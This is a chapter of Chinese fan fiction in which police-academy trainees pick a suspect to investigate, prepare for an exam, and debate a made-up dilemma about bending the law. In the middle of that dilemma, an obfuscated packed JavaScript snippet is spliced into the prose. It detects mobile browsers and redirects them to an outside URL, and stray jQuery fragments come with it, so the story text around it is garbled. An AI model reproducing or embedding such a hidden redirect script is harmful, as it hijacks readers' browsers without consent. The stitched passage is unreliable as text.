离开小钢珠店所在的街巷,林留加立刻恢复了原本的神态,仿若脱胎换骨一样。
除了做过伪装的外貌暂时无法变动,她不止常用表情和语气用词改变了,微动作和习惯也都改变了。她和他们恢复了社交距离,不再有任何肢体接触。
“这次匆忙借来的服饰太张扬,下次如果有得选还是应该换身低调的。”她反省道。
面对着如此收放自如的演技,松田和萩原都觉得他们两个输在侦查与反侦查上情有可原。
现在调查出现了两个分支,需要他们投票决定接下来的调查重心是蝎子男还是龙鲤纹身男。
至于“到此为止”这个选项,从头到尾都没在他们脑海里出现过。
林留加掏出手机,调出刚才趁乱抓拍到的几张照片——被萩原“护至身后”时她可没坐以待毙。
“蝎子男胆敢在有暴力团成员镇守的店里挑事,说明他大概率不是遵纪守法的普通群众,可能还有过前科。”她说。
“你想从蝎子男入手。”松田听出了她的倾向。
“从风险程度来看他更合适,”萩原表示赞同,“直接调查筱田组的现役成员,一旦被察觉,场面我们很难摆平。我们只是警校生,没有执法权,更没有后援。”
一张照片被林留加展示出来:是蝎子男摔倒时从他口袋里掉出的一小串钥匙,上面挂着一个塑料牌,虽然模糊,但能辨认出“清水洗衣”的字样和简笔店标。
“他有明面上的工作,社会关系相对固定,活动轨迹更容易预测和监控。”松田当然明白蝎子男的危险系数更低。
出于理性考虑,调查一个可能有案底、现在试图过着普通生活的非暴力团成员,虽然也会有麻烦,但周旋余地大得多。
松田只是下意识地想去挑战更困难的选项,就像他总想拆解更复杂的机械一样,这是性格使然。
在理智和感性对抗期间,他抽空看了林留加一眼。
其实她的脸上也写明了不甘心,而且大家有目共睹,她的主要针对目标是暴力团。
再耿耿于怀,决断依然要服从现实。
“等我们摸清蝎子男这边的情况或者等我们有更多支持的时候,再考虑接触筱田组,现在贸然去硬碰硬容易打草惊蛇,也可能把蝎子男这条线吓断。”三人达成共识。
尽管三人对调查兴致高昂,但作为学生,日程表中总有些优先级更高的事排在上位。
比如说,即将到来的警校一期阶段考。
警校生培训从四月起,至十月结束,一期阶段考通常定在5月底至6月初的某天,目的主要是基本能力测评,检验学员对警察基础知识的掌握程度和身体适应能力,淘汰明显不合格者。
这次考试倒不会直接决定部门分配,但成绩过低可能被警告,表现优异会被教官重点标记。
至于某几位已经被教官重点标记过的学员,你总不能表现得比日常上课时差吧?以紧张为借口也无法搪塞,因为抗压能力是警校选人标准的一环。
所以林留加自觉地开始了加练计划。
她自认为不是全能型学霸,因为她见证过几个天赋极高的学神,一个是道场的师姐玉城葵,目前供职于米国某药企;一个是大学时期的合租室友速水千帆,目前在京都研究应用数学。
与她们相比,林留加的弱点很明显:她只擅长自己喜欢的科目。
幸好警察学校大部分培训内容她都感兴趣,而拆弹之类她不太动心的技能又不在考核范围内。
鬼冢班五人组里,比她更加随心所欲的应该是松田。林留加都能想象得到,他会不屑一顾地说“靠上课听讲还过不了考试么”,然后把时间投入到他的机械世界里去,比如拆装个游戏机练习手感。
萩原对考试的关注度也不高,但他的人脉足够广,消息渠道足够畅通,可能早就被动地听到了考试的题型和往届真题。
正常情况下,比林更脚踏实地的应该是诸伏,他的复习计划会比她细致,对法律条文的记诵也比她清晰。但近期他的思绪似乎还被与纹身相关的某件事牵挂着,林留加在食堂里看到他好几次心不在焉,甚至对着餐盘出神。
至于降谷,林留加没打算超越他全A的战绩,再说经过渡部教官的劝导和近日的相处后,她意识到与其专注于和他们竞争,不如专注于从他们身上学习优点。
考试日期很快定在了某个周五。上午是理论笔试,内容包括法律基础和警察职务伦理。下午是体能测试和技能实操,内容包括耐力跑、基础力量、逮捕术基础、急救处理、交通指挥等。
百枝和花井在下课时跟着林留加来到了空教室,一人一边坐在她邻座,为了应付考试而向她求助。
林留加将本子向她们面前推去:“理论课的笔记都在这里了,体能测试我应该帮不上什么,技能实操需要辅导的话等我有空约你们。”
“小留加,你是我的神。”花井庄重地握住她的手。
“神现在也有个请求,可以为祂实现吗?”林留加用力回握,“神想了解下往届的考题。”
百枝郑重承诺:“放心,使命必达。”
这两个人够讲信用,之前她们在萩原的社交攻势下仍然坚守在林留加的阵营,没有帮萩原转交饭钱。
要知道萩原可是上次联谊后她们好感度最高的选手,毕竟有服务意识又不油腻的男生实在不多见,更别提萩原本身硬实力也出众。
为了这份人间真情,区区考前辅导算得了什么?林只是投桃报李罢了。
在紧张的复习之余,林留加偶尔会去资料室查看卷宗调节下心情。
前几次她都没碰见熟人,然而第四次去的时候,她听见两个熟悉的声音在激烈争论。
“……既要调查案件又要复习,现在你的状态很糟糕,”降谷规劝道,“毕业入职后你可以去申请正式调查权限,何必急于求成呢?”
诸伏反问:“如果换作是你获得线索,你能等下去吗?”
偷听别人争执很不好,林留加思考片刻,用肩膀猛地撞上资料室门,发出“嘭”的一声。
“谁在推我?”她虚空索敌。
资料室里的谈话声瞬间消失,门被降谷打开,默许林留加进入。
“你们都在,”她假装没发现两人难看的脸色,“正好复习时遇到个疑难问题,想听下你们两个的建议。”
“你发现一名暴力团高级成员正策划一起针对证人的灭口行动,行动将在两小时后发生。你掌握的情报来自一名你私自发展的线人,此人身份不合法,但情报可信度极高,无法作为正式证据申请逮捕令。若按正规程序申请监听和布控,至少需要六小时。此时你会?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119758|195958||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“A. 以虚假理由申请紧急搜查令,提前控制嫌疑人;
B. 匿名向辖区警署投递预警信息,希望引起注意;
C. 私自布控,在犯罪实施时现行逮捕;
D. 说服线人配合警方进行合法化取证后再行动。”
降谷眉头紧锁:“唯一合规的只有B,但B的成功率接近于零。实际操作中很多人会选C,用非法手段阻止更严重的犯罪,但这意味着从此游走在法律边缘。”
诸伏目光沉静:“我可能会选D,但说服线人需要时间,题干中又强调了最紧缺的就是时间。这道题的本质是在问,当遇到法律程序无法覆盖的空白时,是否愿意为自己的越界承担后果?”
林留加轻轻合上笔记本:“抱歉,这道题是我编造的,我也不清楚标准答案。”
三人都清楚,甚至清楚她刚刚的自导自演。
“因为真正的警察工作,往往就是在没有答案的题里找出路。”降谷看向诸伏,意有所指,“但至少我们不必一个人找。”
资料室陷入长久的沉默。灯光从资料柜上方斜切过来,在桌面上切出明暗交界。
诸伏忽然开口:“如果,我是说如果,将来我们中有人不得不选C或D,其他人会怎么做?”
降谷没有正面回答,而是看向林留加:“你会怎么做?”
林留加语气坚定:“我会尽量成为他第一时间求助的对象,至少能知道从哪里开始帮他善后。”
她走到门口,回头补充:“当然,最好还是我们能有第五个选项——比如一拥而上把那个暴力团高层揍一顿,让他别总给大家添麻烦。”
片刻的安静后,降谷和诸伏同时笑了起来。
“走了,”林留加挥挥手,“阶段考加油,考完之后也许我们可以一起想想第五个选项。”
资料室门再度关紧后,降谷的笑容渐渐隐去,问道:“林也一样清楚内情吗?”
作为幼驯染,他清楚诸伏背负着什么过往,所以对诸伏的心绪不宁洞若观火。
“我没有跟她讲明,”诸伏苦笑着说,“但她已经察觉到了端倪。”
要怪只能怪他自己定力不够,自从那天旧事重提后就一发不可收拾,几乎每天晚上都在重温当年的噩梦,逼得他只能靠大量摄入信息流来缓解。
这样他就可以佯装在为了调查案件积累经验,骗过自己的心。
但现在看来,其实谁也没骗过去。
诸伏望着挚友隐含担忧的表情,无声叹了口气。
“你打算找她帮忙吗?”降谷似乎在思索可行性,“假如她进入搜查四课,可以通过四课掌握的纹身师资料找到对应风格的匠师,询问他们曾经接待过的顾客,说不准能有所发现。”
在刻板印象中,纹身的主要客户群正是暴力团成员,因此霓虹的主流社会仍对纹身认可度较低,搜查四课也对一部分服务于暴力团的纹身师密切关注。
诸伏承认他有片刻动心,但他父母的案子归长野县警管辖,而警视厅刑事部搜查四课的辖区主要是东京都内。
不要说林留加尚未真正进入四课,就算她进入后有了权限,也未必能把手伸得那么远。
她没必要为了他的事付出那么多,他不想连累任何人。
“从长计议吧。”诸伏决定。